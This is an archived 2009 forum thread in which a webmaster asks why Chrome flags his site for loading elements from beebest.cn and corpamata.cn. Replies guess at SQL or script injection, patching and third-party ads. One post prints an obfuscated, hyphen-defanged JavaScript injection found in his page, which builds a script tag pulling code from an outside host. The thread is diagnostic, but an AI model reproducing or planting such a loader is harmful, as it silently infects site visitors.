Velocity Reviews - Computer Hardware Reviews

Velocity Reviews > Newsgroups > Computing > Computer Security > Web site compromised?

Reply
Thread Tools

Web site compromised?

 
 
Kompu Kid
Guest
Posts: n/a
 
      04-22-2009
Hello All:

A website I manage seems to have a problem when I tried to access it
today with Chrome browser.

Chrome gives the following warning:


"Warning: Visiting this site may harm your computer!
The website at www.XXXX.YYY (I am not giving the actual URL) contains
elements from the site beebest.cn, which appears to host malware
software that can hurt your computer or otherwise operate without your
consent. Just visiting a site that contains malware can infect your
computer.
For detailed information about the problems with these elements, visit
the Google Safe Browsing diagnostic page for beebest.cn.
Learn more about how to protect yourself from harmful software online.
I understand that visiting this site may harm my computer. "

How can "elements" from beebest.cn can be on this site? What "do"
elements mean in this case?

I am downloading the site and will do a text search for "beebest" .

Any other recommendations?

Thanks

Deguza


 
Reply With Quote
 
 
 
 
Kompu Kid
Guest
Posts: n/a
 
      04-22-2009
On Apr 22, 12:46*am, Kompu Kid <(E-Mail Removed)> wrote:
> Hello All:
>
> A website I manage seems to have a problem when I tried to access it
> today with Chrome browser.
>
> Chrome gives the following warning:
>
> "Warning: Visiting this site may harm your computer!
> The website atwww.XXXX.YYY(I am not giving the actual URL) contains
> elements from the site beebest.cn, which appears to host malware
> software that can hurt your computer or otherwise operate without your
> consent. Just visiting a site that contains malware can infect your
> computer.
> For detailed information about the problems with these elements, visit
> the Google Safe Browsing diagnostic page for beebest.cn.
> Learn more about how to protect yourself from harmful software online.
> *I understand that visiting this site may harm my computer. *"
>
> How can "elements" from beebest.cn can be on this site? What "do"
> elements mean in this case?
>
> I am downloading the site and will do a text search for "beebest" .
>
> Any other recommendations?
>
> Thanks
>
> Deguza


I just had a friend try to access my website. He got the same message
except the beebest.cn was replaced by www.corpamata.cn.

What is going on?

Deguza

 
Reply With Quote
 
 
 
 
Martin
Guest
Posts: n/a
 
      04-22-2009
Kompu Kid wrote:
> On Apr 22, 12:46 am, Kompu Kid <(E-Mail Removed)> wrote:
>> Hello All:
>>
>> A website I manage seems to have a problem when I tried to access it
>> today with Chrome browser.
>>
>> Chrome gives the following warning:
>>
>> "Warning: Visiting this site may harm your computer!
>> The website atwww.XXXX.YYY(I am not giving the actual URL) contains
>> elements from the site beebest.cn, which appears to host malware
>> software that can hurt your computer or otherwise operate without your
>> consent. Just visiting a site that contains malware can infect your
>> computer.
>> For detailed information about the problems with these elements, visit
>> the Google Safe Browsing diagnostic page for beebest.cn.
>> Learn more about how to protect yourself from harmful software online.
>> I understand that visiting this site may harm my computer. "
>>
>> How can "elements" from beebest.cn can be on this site? What "do"
>> elements mean in this case?
>>
>> I am downloading the site and will do a text search for "beebest" .
>>
>> Any other recommendations?
>>
>> Thanks
>>
>> Deguza

>
> I just had a friend try to access my website. He got the same message
> except the beebest.cn was replaced by www.corpamata.cn.
>
> What is going on?


Dunno, but if it were my site I'd be looking to sack the webmaster
because he doesn't seem to know what he's doing.

Post the frigging site and you might get a descent answer from someone
who bothers to go and look at the code.
>
> Deguza
>

 
Reply With Quote
 
Kompu Kid
Guest
Posts: n/a
 
      04-22-2009
On Apr 22, 1:28*am, Martin <(E-Mail Removed)> wrote:
> Kompu Kid wrote:
> > On Apr 22, 12:46 am, Kompu Kid <(E-Mail Removed)> wrote:
> >> Hello All:

>
> >> A website I manage seems to have a problem when I tried to access it
> >> today with Chrome browser.

>
> >> Chrome gives the following warning:

>
> >> "Warning: Visiting this site may harm your computer!
> >> The website atwww.XXXX.YYY(Iam not giving the actual URL) contains
> >> elements from the site beebest.cn, which appears to host malware
> >> software that can hurt your computer or otherwise operate without your
> >> consent. Just visiting a site that contains malware can infect your
> >> computer.
> >> For detailed information about the problems with these elements, visit
> >> the Google Safe Browsing diagnostic page for beebest.cn.
> >> Learn more about how to protect yourself from harmful software online.
> >> *I understand that visiting this site may harm my computer. *"

>
> >> How can "elements" from beebest.cn can be on this site? What "do"
> >> elements mean in this case?

>
> >> I am downloading the site and will do a text search for "beebest" .

>
> >> Any other recommendations?

>
> >> Thanks

>
> >> Deguza

>
> > I just had a friend try to access my website. He got the same message
> > except the beebest.cn was replaced bywww.corpamata.cn.

>
> > What is going on?

>
> Dunno, but if it were my site I'd be looking to sack the webmaster
> because he doesn't seem to know what he's doing.
>
> Post the frigging site and you might get a descent answer from someone
> who bothers to go and look at the code.
>
>
>
> > Deguza


These guys are complaining about the same thing. However, some are
finding no problems...

http://www.greenockmorton.org/forum/...howtopic=26972

Deguza
 
Reply With Quote
 
1PW
Guest
Posts: n/a
 
      04-22-2009
On 04/22/2009 12:46 AM, Kompu Kid sent:
> Hello All:
>
> A website I manage seems to have a problem when I tried to access it
> today with Chrome browser.
>
> Chrome gives the following warning:
>
>
> "Warning: Visiting this site may harm your computer!
> The website at www.XXXX.YYY (I am not giving the actual URL) contains
> elements from the site beebest.cn, which appears to host malware
> software that can hurt your computer or otherwise operate without your
> consent. Just visiting a site that contains malware can infect your
> computer.
> For detailed information about the problems with these elements, visit
> the Google Safe Browsing diagnostic page for beebest.cn.
> Learn more about how to protect yourself from harmful software online.
> I understand that visiting this site may harm my computer. "
>
> How can "elements" from beebest.cn can be on this site? What "do"
> elements mean in this case?
>
> I am downloading the site and will do a text search for "beebest" .
>
> Any other recommendations?
>
> Thanks
>
> Deguza


Hello Deguza:

I too believe we should be dealing with specifics. Please reply with
your site's true and complete URL in the form of:

<hxxp://www.xxxx.yyy/>
^^

In the meantime, you may wish to see if your application software is
updated to the latest possible versions so as to have all possible
security holes plugged. If you also manage the website's OS please post
a great deal of detail on its state of revision. It wouldn't hurt to
give us the ISP so we don't have to dig for it. Do you also maintain
its hardware?

Warm regards,

Pete
--
1PW @?6A62?FEH9E=6o2@=]4@> [r4o7t]
 
Reply With Quote
 
John Holmes
Guest
Posts: n/a
 
      04-22-2009
Kompu Kid "contributed" in alt.hacker:

> (I am not giving the actual URL)


Don't expect any help then.

--
<snip>

 
Reply With Quote
 
Kompu Kid
Guest
Posts: n/a
 
      04-22-2009
On Apr 22, 2:21*pm, "erewhon" <(E-Mail Removed)> wrote:
> A website I manage seems to have a problem when I tried to access it
> today with Chrome browser.
>
> Does it use SQL queries. If so, likely malware was inserted via SQL
> injection


No, it does not use SQL queries.

I found this in one of the pages. I have not put this in there, unless
FrontPage, or the webhosting software put it in.

Or it could be the infection (I am putting "-"s in some of the key
words just in case it tries to execute on a the web...):

<s-c-ript la-ngu-age=ja-va-script><!--
do-cu-ment.w-rite(-u-n-e-s-c-a-p-e('ii%3CscriiipzIlt%20lhsCEtrgKc%3D%2F
%2F940Cm%2E24Joq7%2Emeu2%2EgK19vN65gK%2FjzIlqulhev N6ryii%2ECEtjCEtsmeu
%3EvN6%3C%2Fscriptlh%3E').rep-la-ce(/lh|vN6|meu|0Cm|Joq|zIl|CEt|pTv|gK|
ii/g,""));
--></script><body>
 
Reply With Quote
 
Kompu Kid
Guest
Posts: n/a
 
      04-23-2009
On Apr 22, 9:22*am, John Holmes <(E-Mail Removed)> wrote:
> Kompu Kid "contributed" in alt.hacker:
>
> > (I am not giving the actual URL)

>
> Don't expect any help then.
>
> --
> <snip>


I did not want anybody getting infected, that's why I did not give it
out.

Deguza
 
Reply With Quote
 
Todd H.
Guest
Posts: n/a
 
      04-23-2009
Kompu Kid <(E-Mail Removed)> writes:

> These guys are complaining about the same thing. However, some are
> finding no problems...
>
> http://www.greenockmorton.org/forum/...howtopic=26972


PHP forums ...

I lack the time to go there and triage it, but PHP is quite a
playground, and forums even more so. Probably some sort of script
injection attack if not a complete compromise.


--
Todd H.
http://www.toddh.net/
 
Reply With Quote
 
Gandalf Parker
Guest
Posts: n/a
 
      04-23-2009
Kompu Kid <(E-Mail Removed)> contributed wisdom to news:f1923657-9ee8-
http://www.velocityreviews.com/forums/(E-Mail Removed):

> I am downloading the site and will do a text search for "beebest" .
>
> Any other recommendations?
>


Do you have any dynamic content?
Do you run banner ads that are not on your machine but are links to another
machine?
Do you include google keyword advertising?
Do you have a link to a webring at the bottom of the webpage?

Gandalf Parker
 
Reply With Quote
 
 
 
Reply

Thread Tools

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are Off


Similar Threads
Thread Thread Starter Forum Replies Last Post
List of free web site design, web site backgrounds, web site layoutsresources cyber XML 1 12-25-2007 11:48 PM
Free web site design, web site backgrounds, web site layoutsresources cyber HTML 0 12-24-2007 04:26 PM
List of free web site design, web site backgrounds, web site layoutsresources cyber HTML 0 12-21-2007 03:47 PM
List of free web site design, web site backgrounds, web site layoutsweb sites cyber HTML 1 12-19-2007 09:07 AM
Create a web site, not default web site mike kim ASP .Net 2 08-19-2003 11:26 PM



Advertisments